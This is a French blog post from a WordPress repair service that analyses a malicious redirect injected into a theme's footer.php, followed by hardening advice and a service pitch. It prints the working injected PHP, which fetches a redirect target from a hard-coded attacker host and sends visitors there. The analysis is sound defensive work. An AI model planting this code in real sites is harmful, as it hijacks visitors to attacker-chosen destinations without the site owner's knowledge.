vous avez été piraté ? obtenir de l'aide

Eviter les Redirections Malveillantes

redirections malveillantes

Dans un article récent, j’ai abordé certaines des raisons pour lesquelles les sites sont fréquemment attaqués. Cet article traitait des redirections de navigateur, et je vais explorer ici un exemple concret de ce type de cas.

Les thèmes de sites web sont une cible d’attaque courante pour de nombreuses raisons. Le thème est garanti de se charger sur chaque page, c’est le cœur du design de tout site, et les thèmes peuvent être facilement personnalisés dans le panneau d’administration du site. Cependant, il arrive parfois qu’un attaquant injecte du code directement dans les fichiers du thème, car ceux-ci ne sont pas facilement visibles par un administrateur de site, et toute modification peut passer inaperçue à moins que l’administrateur ne parcoure spécifiquement la structure du répertoire du site et n’inspecte manuellement le code.

Examinons cela de plus près.

Ce bloc de code a été injecté directement dans le fichier footer.php d’un thème, juste au-dessus de la fonctionnalité normale du fichier. Le footer.php est responsable de l’affichage du contenu de clôture en bas des pages d’un site et inclut souvent des fonctions pour récupérer du contenu de la base de données, comme les informations de contact de l’entreprise, les bannières de droits d’auteur ou les logos de l’entreprise. Cela offre également aux attaquants un emplacement pour injecter des malwares cachés ou des redirections.

Normalement, je commencerais par le début du code, mais dans ce cas, le code commence à s’exécuter après que le bloc initial est défini, qui constitue l’essentiel de la fonctionnalité. En descendant, nous voyons que le script appelle la fonction r2048() avec une URL très spécifique.

Décryptage du malware :

$tgurl = @r2048("http://youtubesave.org/rl/g.php");

Après avoir appelé la fonction r2048, le script confirme qu’une valeur a été retournée, efface tout tampon de sortie actuel pour éviter toute corruption des données d’en-tête et envoie l’URL retournée aux en-têtes du navigateur, initiant ainsi la redirection.

if($tgurl){
    while (@ob_get_level()) {
        @ob_end_clean();
    }
    header("Location: " . $tgurl, true, 302);
    exit;
}

Fonction r2048 :

function r2048($u){
    $t = "";
    $to = 20;
    if( @function_exists('curl_version') || in_array('curl', get_loaded_extensions()) ){
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $u);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 0); 
        curl_setopt($ch, CURLOPT_TIMEOUT, $to);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        $t = curl_exec($ch);
        curl_close($ch);
    } else {
        $x = stream_context_create(array("http" => array('timeout' => $to), "https" => array('timeout' => $to)));
        $t = file_get_contents($u, false, $x);
    }
    return $t;
}

En termes simples, cette fonction vérifie la présence du support curl sur le serveur et, si ce n’est pas le cas, elle utilise la fonction interne PHP file_get_contents.

Après avoir appelé l’une des options, curl ou file_get_contents, en utilisant l’URL transmise précédemment par la variable $tgurl, la fonction remplit la variable $t avec la sortie de l’URL distante et la renvoie à la fonction d’origine où la fonction header("Location: ") déclenche la redirection.

Examen du contenu distant :

Étant donné que nous avons une URL codée en dur, nous pouvons l’inspecter pour voir ce qui se passe. En la saisissant dans un navigateur, nous voyons l’URL vers laquelle le site victime sera redirigé.

C’est assez simple : en renvoyant l’URL cible depuis un serveur distant, les attaquants peuvent contrôler où la victime sera redirigée en fonction de facteurs tels que le navigateur ou l’appareil mobile utilisé. Malheureusement, nous ne pouvons pas voir le code sur ce serveur distant, mais il ne semble pas y avoir autre chose en cours puisque l’URL affichée est envoyée aux en-têtes du navigateur de la victime.


Conclusion

Les administrateurs de sites web devraient régulièrement auditer les thèmes et plugins utilisés sur le site et surveiller les modifications apportées à ces fichiers. Comme nous l’avons vu ici, les attaquants peuvent injecter du code malveillant directement dans ces fichiers, ce qui les rend invisibles depuis le tableau de bord du site. Dans ce cas, le site redirigeait, rendant l’attaque évidente, mais les attaquants auraient pu injecter n’importe quel code, comme du spam ou même des voleurs de cartes de crédit ou d’identifiants, comme nous l’avons vu dans des cas précédents.

Normalement, je conseillerais d’ajouter une seconde couche de protection au panneau d’administration, comme l’authentification à deux facteurs ou des pages protégées, mais dans ce cas, les attaquants auraient pu facilement modifier les fichiers du thème via FTP ou SSH. Les services comme FTP et SSH sont souvent abusés par les attaquants parce que les administrateurs oublient de les sécuriser. Changer les ports par défaut (21 ou 22) pour autre chose et mettre en place des restrictions IP sur ces services empêchera les accès non désirés.

Si vous pensez que votre site a pu être piraté, nous sommes toujours là pour jeter un œil. En tant qu’experts en réparation d’urgence WordPress, nous proposons une analyse complète, le nettoyage des malwares, la suppression des backdoors et le renforcement de la sécurité. De plus, notre service de maintenance inclut l’installation d’antivirus, les mises à jour régulières, les sauvegardes et une surveillance 24/7, avec une option d’hébergement Premium en France. Pour optimiser votre visibilité en ligne, nous offrons également des services d’optimisation SEO technique, de stratégie éditoriale et de création de contenus ciblés. N’hésitez pas à nous contacter pour sécuriser et optimiser votre site WordPress.

Partager l'article :

Nos experts français assurent un support et une prestation de qualité.

Nos autres articles

je demande de l’AIDE

Recevoir un devis
Demander un devis pour réparer un site

inscrivez vous a la newsletter

Nous vous enverrons des informations utiles et de qualité pour apprendre ainsi à mieux protéger votre site.
newsletter pour actualité WorPress

Partager cet article